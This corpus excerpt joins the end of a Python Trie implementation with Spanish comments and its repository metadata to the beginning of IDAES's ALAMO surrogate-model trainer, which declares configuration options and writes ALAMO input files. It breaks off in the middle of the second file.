parent.append(-1)   # asociado al nodo ra\u00edz\n        \n        # esto b\u00e1sicamente hace un recorrido por niveles del Trie, de\n        # ah\u00ed que utilice una cola:\n        Q = collections.deque()\n        # cada elemento guardado en la cola es una tupla con estos campos:\n        # first_index, last_index, triedepth, root = Q.popleft()\n        # donde:\n        # first_index y last_index: ambos referidos al vector self.vocabulary,\n        #  el 2\u00ba apunta a despu\u00e9s como range\n        #  ambos delimitan la zona a tratar\n        # triedepth se refiere a la prof. de root en el trie, donde\n        # root es el estado ra\u00edz del sub\u00e1rbol que se va a generar\n        Q.append((0, len(self.vocabulary), 1, 0))\n\n        while len(Q) > 0:\n            first_index, last_index, triedepth, root = Q.popleft()\n            firstchild[root] = len(firstchild) # ver m\u00e1s abajo el (*)\n            positions = []\n            lastletter = \"\"\n            for i in range(first_index, last_index):\n                word = self.vocabulary[i]\n                if len(word) >= triedepth:\n                    letter = word[triedepth - 1]\n                    if letter != lastletter:\n                        lastletter = letter\n                        label.append(letter)\n                        parent.append(root)\n                        firstchild.append(0) # se pone a 0 por poner algo, luego se modifica arriba en (*)\n                        thischildpos = len(firstchild) - 1\n                        if len(word) == triedepth:\n                            self.output[thischildpos] = word\n                        positions.append((i, thischildpos))\n            positions.append((last_index, 0))\n            for (frompos, root), (lastpos, dummy) in zip(positions, positions[1:]):\n                Q.append((frompos, lastpos, triedepth + 1, root))\n\n        # un nodo centinela al final para poder usar\n        # range(self.firstchild[i], self.firstchild[i+1]) en el \u00faltimo nodo\n        label.append(\" \")\n        firstchild.append(len(firstchild))\n        parent.append(-1)\n        # convertimos todo a np.array y lo guardamos como atributos de la clase:\n        self.label = np.array(label, dtype=np.unicode_)\n        self.firstchild = np.array(firstchild, dtype=np.int)\n        self.parent = np.array(parent, dtype=np.int)\n\n    def get_root(self):\n        return 0\n\n    def get_num_states(self):\n        return len(self.firstchild)-1 # sentinel is not included\n    \n    def get_label(self, node):\n        return self.label[node]\n\n    def get_parent(self, node):\n        return self.parent[node]\n\n    def iter_children(self, node):\n        return range(self.firstchild[node], self.firstchild[node + 1])\n\n    def is_leaf(self, node):\n        return self.firstchild[node] == self.firstchild[node+1]\n\n    def is_final(self, node):\n        return node in self.output\n\n    def get_output(self, node):\n        return self.output.get(node,\"\")\n    \n    def num_children(self, node):\n        return self.firstchild[node + 1] - self.firstchild[node]\n\n    def __str__(self):\n        lines = [\"vocabulary \" + repr(self.vocabulary),\n                 \"pos label parent firstchild n\u00bachild output\"]\n        num_nodes = len(self.label)-1 # sentinel is not included\n        for node in range(num_nodes):\n            etiqueta = '\"'+str(self.label[node])+'\"'\n            num_children = self.firstchild[node + 1] - self.firstchild[node]\n            out = '' if node not in self.output else '\"'+self.output[node]+'\"'\n            line = f'{node:3} {etiqueta:4}  {self.parent[node]:3}    {self.firstchild[node]:3}        {num_children:2}      {out}'\n            lines.append(line)\n        return \"\\n\".join(lines)\n\nif __name__ == \"__main__\":\n    vocabulario = [\"aa\",\"ac\",\"bb\",\"c\",\"cab\",\"cac\"]\n    trie = Trie(vocabulario)\n    print(trie)\n    print()\n    vocabulario = ['a', 'ata', 'ato', 'cama', 'casa', 'caso', 'cas\u00f3', 'ca\u00f1a']\n    trie = Trie(vocabulario)\n    print(trie)\n", "meta": {"hexsha": "4f091e9aee1a3c6795116300268f4630c12b75c0", "size": 7145, "ext": "py", "lang": "Python", "max_stars_repo_path": "distances/utils/trie.py", "max_stars_repo_name": "fabbo-repo/NewsIndexer", "max_stars_repo_head_hexsha": "a4d0a292595eea3efa5a86a214b3bf8d4aa8ffee", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "distances/utils/trie.py", "max_issues_repo_name": "fabbo-repo/NewsIndexer", "max_issues_repo_head_hexsha": "a4d0a292595eea3efa5a86a214b3bf8d4aa8ffee", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "distances/utils/trie.py", "max_forks_repo_name": "fabbo-repo/NewsIndexer", "max_forks_repo_head_hexsha": "a4d0a292595eea3efa5a86a214b3bf8d4aa8ffee", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-01-10T11:32:15.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-20T16:53:46.000Z", "avg_line_length": 43.303030303, "max_line_length": 130, "alphanum_fraction": 0.5927221833, "include": true, "reason": "import numpy", "num_tokens": 1708, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.11436852769112675, "lm_q1q2_score": 0.051396373958971266}}
{"text": "#################################################################################\r\n# The Institute for the Design of Advanced Energy Systems Integrated Platform\r\n# Framework (IDAES IP) was produced under the DOE Institute for the\r\n# Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-2021\r\n# by the software owners: The Regents of the University of California, through\r\n# Lawrence Berkeley National Laboratory,  National Technology & Engineering\r\n# Solutions of Sandia, LLC, Carnegie Mellon University, West Virginia University\r\n# Research Corporation, et al.  All rights reserved.\r\n#\r\n# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and\r\n# license information.\r\n#################################################################################\r\nfrom enum import Enum\r\nimport subprocess\r\nfrom io import StringIO\r\nimport sys\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport json\r\n\r\nfrom pyomo.environ import Constraint, value, sin, cos, log, exp, Set, Reals\r\nfrom pyomo.common.config import ConfigValue, In, Path, ListOf, Bool\r\nfrom pyomo.common.tee import TeeStream\r\nfrom pyomo.common.fileutils import Executable\r\nfrom pyomo.common.tempfiles import TempfileManager\r\n\r\nfrom idaes.core.surrogate.base.surrogate_base import SurrogateTrainer, SurrogateBase\r\nfrom idaes.core.util.exceptions import ConfigurationError\r\nimport idaes.logger as idaeslog\r\n\r\n\r\n# Set up logger\r\n_log = idaeslog.getLogger(__name__)\r\n\r\n# TODO: Adaptive sampling\r\n\r\nalamo = Executable(\"alamo\")\r\n\r\n# Define mapping of Pyomo function names for expression evaluation\r\nGLOBAL_FUNCS = {\"sin\": sin, \"cos\": cos, \"log\": log, \"exp\": exp}\r\n\r\n\r\n# The values associated with these must match those expected in the .alm file\r\nclass Modelers(Enum):\r\n    BIC = 1\r\n    MallowsCp = 2\r\n    AICc = 3\r\n    HQC = 4\r\n    MSE = 5\r\n    SSEP = 6\r\n    RIC = 7\r\n    MADp = 8\r\n\r\n\r\nclass Screener(Enum):\r\n    none = 0\r\n    lasso = 1\r\n    SIS = 2\r\n\r\n\r\nsupported_options = [\r\n    \"xfactor\",\r\n    \"xscaling\",\r\n    \"scalez\",\r\n    \"monomialpower\",\r\n    \"multi2power\",\r\n    \"multi3power\",\r\n    \"ratiopower\",\r\n    \"expfcns\",\r\n    \"linfcns\",\r\n    \"logfcns\",\r\n    \"sinfcns\",\r\n    \"cosfcns\",\r\n    \"constant\",\r\n    \"grbfcns\",\r\n    \"rbfparam\",\r\n    \"modeler\",\r\n    \"builder\",\r\n    \"backstepper\",\r\n    \"convpen\",\r\n    \"screener\",\r\n    \"ncvf\",\r\n    \"sismult\",\r\n    \"maxtime\",\r\n    \"maxiter\",\r\n    \"datalimitterms\",\r\n    \"maxterms\",\r\n    \"minterms\",\r\n    \"numlimitbasis\",\r\n    \"exclude\",\r\n    \"ignore\",\r\n    \"xisint\",\r\n    \"zisint\",\r\n    \"tolrelmetric\",\r\n    \"tolabsmetric\",\r\n    \"tolmeanerror\",\r\n    \"tolsse\",\r\n    \"mipoptca\",\r\n    \"mipoptcr\",\r\n    \"linearerror\",\r\n    \"GAMS\",\r\n    \"GAMSSOLVER\",\r\n    \"solvemip\",\r\n    \"print_to_screen\",\r\n]\r\n\r\n\"\"\"\r\nExcluded Options:\r\nNSAMPLE, NVALSAMPLE, INITIALIZER, PRINT TO FILE, FUNFORM, NTRANS\r\n\r\nExcluded Simulator options:\r\nMAXSIM, MINPOINTS, MAXPOINTS, SAMPLER, SIMULATOR, PRESET, TOLMAXERROR, SIMIN,\r\nSIMOUT\r\n\"\"\"\r\n\r\n\r\n# Headers from ALAMO trace file that should be common for all outputs\r\ncommon_trace = [\r\n    \"filename\",\r\n    \"NINPUTS\",\r\n    \"NOUTPUTS\",\r\n    \"INITIALPOINTS\",\r\n    \"SET\",\r\n    \"INITIALIZER\",\r\n    \"SAMPLER\",\r\n    \"MODELER\",\r\n    \"BUILDER\",\r\n    \"GREEDYBUILD\",\r\n    \"BACKSTEPPER\",\r\n    \"GREEDYBACK\",\r\n    \"REGULARIZER\",\r\n    \"SOLVEMIP\",\r\n]\r\n\r\n\r\nclass AlamoTrainer(SurrogateTrainer):\r\n    \"\"\"\r\n    Standard SurrogateTrainer for ALAMO.\r\n\r\n    This defines a set of configuration options for ALAMO along with\r\n    methods to read and write the ALAMO input and output files and to call\r\n    the ALAMO executable.\r\n\r\n    Generally, options default to None to indicate that no entry will be\r\n    written in the ALAMO input file. In this case, the default ALAMO settings\r\n    will be used.\r\n    \"\"\"\r\n\r\n    # The following ALAMO options are not (yet) supported\r\n    # Returning model prediction, as we can do that in IDAES\r\n    # Iniital sampling of data, as SurrogateModelTrainer should do that\r\n    # Similarly, adaptive sampling is better handled in Python\r\n    # Single validation set, due to limitations of current API\r\n    # Custom basis functions are not yet implemented\r\n\r\n    CONFIG = SurrogateTrainer.CONFIG()\r\n\r\n    CONFIG.declare(\r\n        \"xfactor\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(float),\r\n            description=\"List of scaling factors for input variables.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"xscaling\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Option to scale input variables.\",\r\n            doc=\"Option to scale input variables. If True and xfactors are not \"\r\n            \"provided, ALAMO sets XFACTORS equal to the range of each input \"\r\n            \"variable.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"scalez\",\r\n        ConfigValue(\r\n            default=None, domain=Bool, description=\"Option to scale output variables.\"\r\n        ),\r\n    )\r\n\r\n    # Basis function options\r\n    CONFIG.declare(\r\n        \"monomialpower\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(\r\n                int, In(Reals - {0, 1})\r\n            ),  # allow any float except for 0 and 1\r\n            description=\"Vector of monomial powers considered in basis \"\r\n            \"functions - cannot include 0 or 1.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"multi2power\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(float),\r\n            description=\"Vector of powers to be considered for pairwise \"\r\n            \"combinations in basis functions.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"multi3power\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(float),\r\n            description=\"Vector of three variable combinations of powers to be \"\r\n            \"considered as basis functions.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"ratiopower\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(float),\r\n            description=\"Vector of ratio combinations of powers to be considered \"\r\n            \"in the basis functions.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"constant\",\r\n        ConfigValue(\r\n            default=True,\r\n            domain=Bool,\r\n            description=\"Include constant basis function if True. Default = True\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"linfcns\",\r\n        ConfigValue(\r\n            default=True,\r\n            domain=Bool,\r\n            description=\"Include linear basis functions if True. Default = True\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"expfcns\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Include exponential basis functions if True.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"logfcns\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Include logarithmic basis functions if True.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"sinfcns\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Include sine basis functions if True.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"cosfcns\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Include cosine basis functions if True.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"grbfcns\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Include Gaussian radial basis functions if True.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"rbfparam\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=float,\r\n            description=\"Multiplicative constant used in the Gaussian radial basis\"\r\n            \" functions.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"custom_basis_functions\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(str),\r\n            description=\"List of custom basis functions to include in surrogate \"\r\n            \"fitting.\",\r\n            doc=\"List of custom basis functions to include in surrogate model \"\r\n            \"fitting. These should be in a form that can be rendered as a string \"\r\n            \"that meets ALAMO's requirements.\",\r\n        ),\r\n    )\r\n\r\n    # Other fitting options\r\n    CONFIG.declare(\r\n        \"modeler\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=In(Modelers),\r\n            description=\"Fitness metric to be used for model building. Must be an \"\r\n            \"instance of Modelers Enum.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"builder\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"If True, a greedy heuristic builds up a model \"\r\n            \"by adding one variable at a time.\",\r\n            doc=\"If True, a greedy heuristic builds up a model by adding one \"\r\n            \"variable at a time. This model is used as a starting point for \"\r\n            \"solving an integer programming formulation according to the choice \"\r\n            \"of modeler. If an optimizer is not available, the heuristic model \"\r\n            \"will be the final model to be returned.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"backstepper\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"If set to 1, a greedy heuristic builds down a model by \"\r\n            \"starting from the least squares model and removing one variable at \"\r\n            \"a time.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"convpen\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=float,\r\n            description=\"Convex penalty term to use if Modeler == SSEP or MADp.\",\r\n            doc=\"When MODELER is set to 6 or 8, a penalty consisting of the sum \"\r\n            \"of square errors (SSEP) or the maximum absolute error (MADp) and a \"\r\n            \"term penalizing model size is used for model building. The size of \"\r\n            \"the model is weighted by convpen. If convpen=0, this metric reduces \"\r\n            \"to the classical sum of square errors (SSEP) or the maximum absolute \"\r\n            \"deviation (MADp).\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"screener\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=In(Screener),\r\n            description=\"Regularization method used to reduce the number of \"\r\n            \"potential basis functions before optimization. Must be instance of \"\r\n            \"Screener Enum.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"ncvf\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=int,\r\n            description=\"Number of folds to be used for cross validation by the \"\r\n            \"lasso screener. ALAMO will use a two-fold validation if fewer than \"\r\n            \"10 data points are available. NCVF must be a nonnegative integer.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"sismult\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=int,\r\n            description=\"This parameter must be non-negative and is used to \"\r\n            \"determine the number of basis functions retained by the SIS \"\r\n            \"screener. The number of basis functions retained equals the floor \"\r\n            \"of SSISmult n ln(n), where n is the number of measurements \"\r\n            \"available at the current ALAMO iteration.\",\r\n        ),\r\n    )\r\n\r\n    CONFIG.declare(\r\n        \"maxiter\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=int,\r\n            description=\"Maximum number of ALAMO iterations. 1 = no adaptive \"\r\n            \"sampling, 0 = no limit.\",\r\n            doc=\"Maximum number of ALAMO iterations. Each iteration begins with \"\r\n            \"a model-building step. An adaptive sampling step follows if maxiter \"\r\n            \"does not equal 1. If maxiter is set to a number less than or equal \"\r\n            \"to 0, ALAMO will enforce no limit on the number of iterations.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"maxtime\",\r\n        ConfigValue(\r\n            default=1000,\r\n            domain=float,\r\n            description=\"Maximum total execution time allowed in seconds. \"\r\n            \"Default = 1000.\",\r\n            doc=\"Maximum total execution time allowed in seconds. This time \"\r\n            \"includes all steps of the algorithm, including time to read problem, \"\r\n            \"preprocess data, solve optimization subproblems, and print results.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"datalimitterms\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Limit model terms to number of measurements.\",\r\n            doc=\"If True, ALAMO will limit the number of terms in the model to be \"\r\n            \"no more than the number of data measurements; otherwise, no limit \"\r\n            \"based on the number of data measurements will be placed. The user \"\r\n            \"may provide an additional limit on the number of terms in the model \"\r\n            \"through the maxterms and minterms options.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"maxterms\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(int),\r\n            description=\"List of maximum number of model terms to per output.\",\r\n            doc=\"Row vector of maximum terms allowed in the modeling of output \"\r\n            \"variables. One per output variable, space separated. A \u22121 signals \"\r\n            \"that no limit is imposed.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"minterms\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(int),\r\n            description=\"List of minimum number of model terms to per output.\",\r\n            doc=\"Row vector of minimum terms required in the modeling of output \"\r\n            \"variables. One per output variable, space separated. A 0 signals \"\r\n            \"that no limit is imposed.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"numlimitbasis\",\r\n        ConfigValue(\r\n            default=True,  # default this to true to avoid numerical issues\r\n            domain=Bool,\r\n            description=\"Eliminate infeasible basis functions. Default = True\",\r\n            doc=\"If True, ALAMO will eliminate basis functions that are not \"\r\n            \"numerically acceptable (e.g., log(x) will be eliminated if x may be \"\r\n            \"negative); otherwise, no limit based on the number of data \"\r\n            \"measurements will be placed. The user may provide additional limits \"\r\n            \"on the the type and number of selected basis functions through the \"\r\n            \"options exclude and groupcon.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"exclude\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(int),\r\n            description=\"List of inputs to exclude during building,\",\r\n            doc=\"Row vector of 0/1 flags that specify which input variables, if \"\r\n            \"any, ALAMO should exclude during the model building process. All \"\r\n            \"input variables must be present in the data but ALAMO will not \"\r\n            \"include basis functions that involve input variables for which \"\r\n            \"exclude equals 1. This feature does not apply to custom basis \"\r\n            \"functions or RBFs.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"ignore\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(int),\r\n            description=\"List of outputs to ignore during building.\",\r\n            doc=\"Row vector of 0/1 flags that specify which output variables, \"\r\n            \"if any, ALAMO should ignore. All output variables must be present in \"\r\n            \"the data but ALAMO does not model output variables for which ignore \"\r\n            \"equals 1.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"xisint\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(int),\r\n            description=\"List of inputs that should be treated as integers.\",\r\n            doc=\"Row vector of 0/1 flags that specify which input variables, if \"\r\n            \"any, ALAMO should treat as integers. For integer inputs, ALAMO\u2019s \"\r\n            \"sampling will be restricted to integer values.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"zisint\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(int),\r\n            description=\"List of outputs that should be treated as integers.\",\r\n            doc=\"Row vector of 0/1 flags that specify which output variables, if \"\r\n            \"any, ALAMO should treat as integers. For integer variables, ALAMO\u2019s \"\r\n            \"model will include the rounding of a function to the nearest integer \"\r\n            \"(equivalent to the nint function in Fortran.)\",\r\n        ),\r\n    )\r\n\r\n    CONFIG.declare(\r\n        \"tolrelmetric\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(float),\r\n            description=\"Relative tolerance for outputs.\",\r\n            doc=\"Relative convergence tolerance for the chosen fitness metric for \"\r\n            \"the modeling of output variables. One per output variable, space \"\r\n            \"separated. Incremental model building will stop if two consecutive \"\r\n            \"iterations do not improve the chosen metric by at least this amount.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"tolabsmetric\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(float),\r\n            description=\"Absolute tolerance for outputs.\",\r\n            doc=\"Absolute convergence tolerance for the chosen fitness metric for \"\r\n            \"the modeling of output variables. One per output variable, space \"\r\n            \"separated. Incremental model building will stop if two consecutive \"\r\n            \"iterations do not improve the chosen metric by at least this amount.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"tolmeanerror\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=ListOf(float),\r\n            description=\"Convergence tolerance for mean errors in outputs.\",\r\n            doc=\"Row vector of convergence tolerances for mean errors in the \"\r\n            \"modeling of output variables. One per output variable, space \"\r\n            \"separated. Incremental model building will stop if tolmeanerror, \"\r\n            \"tolrelmetric, or tolabsmetric is satisfied.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"tolsse\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=float,\r\n            description=\"Absolute tolerance on SSE\",\r\n            doc=\"Absolute tolerance on sum of square errors (SSE). ALAMO will \"\r\n            \"terminate if it finds a solution whose SSE is within tolsse from \"\r\n            \"the SSE of the full least squares problem.\",\r\n        ),\r\n    )\r\n\r\n    CONFIG.declare(\r\n        \"mipoptca\",\r\n        ConfigValue(\r\n            default=None, domain=float, description=\"Absolute tolerance for MIP.\"\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"mipoptcr\",\r\n        ConfigValue(\r\n            default=None, domain=float, description=\"Relative tolerance for MIP.\"\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"linearerror\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"If True, a linear objective is used when solving \"\r\n            \"mixed-integer optimization problems; otherwise, a squared error will \"\r\n            \"be employed.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"GAMS\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=str,\r\n            description=\"Complete path of GAMS executable (or name if GAMS is in \"\r\n            \"the user path).\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"GAMSSOLVER\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=str,\r\n            description=\"Name of preferred GAMS solver for solving ALAMO\u2019s \"\r\n            \"mixed-integer quadratic subproblems. Special facilities have been \"\r\n            \"implemented in ALAMO and BARON that make BARON the preferred \"\r\n            \"selection for this option. However, any mixed-integer quadratic \"\r\n            \"programming solver available under GAMS can be used.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"solvemip\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Whether to use an optimizer to solve MIP.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"print_to_screen\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=Bool,\r\n            description=\"Send ALAMO output to stdout. Output is returned by the \"\r\n            \"call_alamo method.\",\r\n        ),\r\n    )\r\n\r\n    # I/O file options\r\n    CONFIG.declare(\r\n        \"alamo_path\",\r\n        ConfigValue(\r\n            default=None, domain=Path, doc=\"Path to ALAMO executable (if not in path).\"\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"filename\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=str,\r\n            description=\"File name to use for ALAMO files - must be full path of a\"\r\n            \" .alm file. Other files will be defined from this pattern. If this \"\r\n            \"option is not None, then working files will not be deleted.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"working_directory\",\r\n        ConfigValue(\r\n            default=None,\r\n            domain=str,\r\n            description=\"Full path to working directory for ALAMO to use. \"\r\n            \"If this option is not None, then working files will not be deleted.\",\r\n        ),\r\n    )\r\n    CONFIG.declare(\r\n        \"overwrite_files\",\r\n        ConfigValue(\r\n            default=False,\r\n            domain=Bool,\r\n            description=\"Flag indicating whether existing files can be \" \"overwritten.\",\r\n        ),\r\n    )\r\n\r\n    # TODO: We need to do some processing of the labels since ALAMO is\r\n    # restrictive about the labels\r\n    # TODO: We need to think more carefully about \"input_bounds\".\r\n    # Alamo uses bounds during training, but we also want to consider\r\n    # \"valid\" bounds for the surrogate\r\n    def __init__(self, **settings):\r\n        super().__init__(**settings)\r\n\r\n        self._temp_context = None\r\n        self._almfile = None\r\n        self._trcfile = None\r\n\r\n        if self.config.alamo_path is not None:\r\n            alamo.executable = self.config.alamo_path\r\n\r\n        self._results = None\r\n\r\n    def train_surrogate(self):\r\n        \"\"\"\r\n        General workflow method for training an ALAMO surrogate.\r\n\r\n        Takes the existing data set and executes the ALAMO workflow to create\r\n        an AlamoSurrogate based on the current configuration arguments.\r\n\r\n        Args:\r\n            None\r\n\r\n        Returns:\r\n            tuple : (success, AlamoSurrogate, message) where success indicates\r\n            whether ALAMO was usccessfully executed, an instance of an\r\n            AlamoSurrogate representing the trained surrogate, and message is\r\n            the final status line from the ALAMO output log.\r\n        \"\"\"\r\n        # Get paths for temp files\r\n        self._get_files()\r\n\r\n        return_code = None\r\n        alamo_log = None\r\n        alamo_object = None\r\n\r\n        try:\r\n            # Write .alm file\r\n            self._write_alm_file()\r\n\r\n            # Call ALAMO executable\r\n            return_code, alamo_log = self._call_alamo()\r\n\r\n            # Read back results\r\n            trace_dict = self._read_trace_file(self._trcfile)\r\n\r\n            # Populate results and SurrogateModel object\r\n            self._populate_results(trace_dict)\r\n            alamo_object = self._build_surrogate_object()\r\n\r\n        finally:\r\n            # Clean up temporary files if required\r\n            self._remove_temp_files()\r\n\r\n        success = False\r\n        if return_code == 0:\r\n            # Non-zero return code implies an error\r\n            # specifics returned in the msg\r\n            success = True\r\n        alamo_msg = alamo_log.split(\"\\n\")[-3]\r\n\r\n        return success, alamo_object, alamo_msg\r\n\r\n    # TODO: let's generalize this under the metrics?\r\n    def get_alamo_results(self):\r\n        return self._results\r\n\r\n    def _get_files(self):\r\n        \"\"\"\r\n        Method to get/set paths for .alm and .trc files based on filename\r\n        configuration argument.\r\n\r\n        If filename is None, temporary files will be created.\r\n\r\n        Args:\r\n            None\r\n\r\n        Returns:\r\n            None\r\n        \"\"\"\r\n        if self._temp_context is None:\r\n            self._temp_context = TempfileManager.new_context()\r\n\r\n        if self.config.filename is None:\r\n            # Get a temporary file from the manager\r\n            almfile = self._temp_context.create_tempfile(suffix=\".alm\")\r\n        else:\r\n            almfile = self.config.filename\r\n\r\n            if not self.config.overwrite_files:\r\n                # It is OK if the trace file exists, as ALAMO will append to it\r\n                # The trace file reader handles this case\r\n                if os.path.isfile(almfile):\r\n                    raise FileExistsError(\r\n                        f\"A file with the name {almfile} already exists. \"\r\n                        f\"Either choose a new file name or set \"\r\n                        f\"overwrite_files = True.\"\r\n                    )\r\n\r\n            self._temp_context.add_tempfile(almfile, exists=False)\r\n\r\n        trcfile = os.path.splitext(almfile)[0] + \".trc\"\r\n        self._temp_context.add_tempfile(trcfile, exists=False)\r\n\r\n        if self.config.working_directory is None:\r\n            wrkdir = self._temp_context.create_tempdir()\r\n        else:\r\n            wrkdir = self.config.working_directory\r\n\r\n        # Set attributes to track file names\r\n        self._almfile = almfile\r\n        self._trcfile = trcfile\r\n        self._wrkdir = wrkdir\r\n\r\n    def _write_alm_to_stream(\r\n        self, stream, trace_fname=None, training_data=None, validation_data=None\r\n    ):\r\n        \"\"\"\r\n        Method to write an ALAMO input file (.alm) to a stream.\r\n        Users may provide specific data sets for training and validation.\r\n        If no data sets are provided, the data sets contained in the\r\n        AlamoModelTrainer are used.\r\n\r\n        Args:\r\n            stream: stream that data should be writen to\r\n            trace_fname: name for trace file (.trc) to be included in .alm file\r\n            training_data: Pandas dataframe to use for training surrogate\r\n            validation_data: Pandas dataframe to use for validating surrogate\r\n\r\n        Returns:\r\n            None\r\n        \"\"\"\r\n        if training_data is None:\r\n            training_data = self._training_dataframe\r\n        if validation_data is None:\r\n            validation_data = self._validation_dataframe\r\n\r\n        # Check bounds on inputs to avoid potential ALAMO failures\r\n        input_max = list()\r\n        input_min = list()\r\n        for k, b in self._input_bounds.items():\r\n            if b is None or b[0] is None or b[1] is None:\r\n                raise ConfigurationError(\r\n                    f\"ALAMO configuration error: invalid bounds on input {k} \" f\"({b}).\"\r\n                )\r\n            elif b[0] == b[1]:\r\n                raise ConfigurationError(\r\n                    f\"ALAMO configuration error: upper and lower bounds on \"\r\n                    f\"input {k} are equal.\"\r\n                )\r\n            elif b[1] < b[0]:\r\n                raise ConfigurationError(\r\n                    f\"ALAMO configuration error: upper bound is less than \"\r\n                    f\"lower bound for input {k}.\"\r\n                )\r\n            input_min.append(b[0])\r\n            input_max.append(b[1])\r\n\r\n        # Get number of data points to build alm file\r\n        n_rdata, n_inputs = training_data.shape\r\n\r\n        if validation_data is not None:\r\n            n_vdata, n_inputs = validation_data.shape\r\n        else:\r\n            n_vdata = 0\r\n\r\n        stream.write(\"# IDAES Alamopy input file\\n\")\r\n        stream.write(f\"NINPUTS {len(self._input_labels)}\\n\")\r\n        stream.write(f\"NOUTPUTS 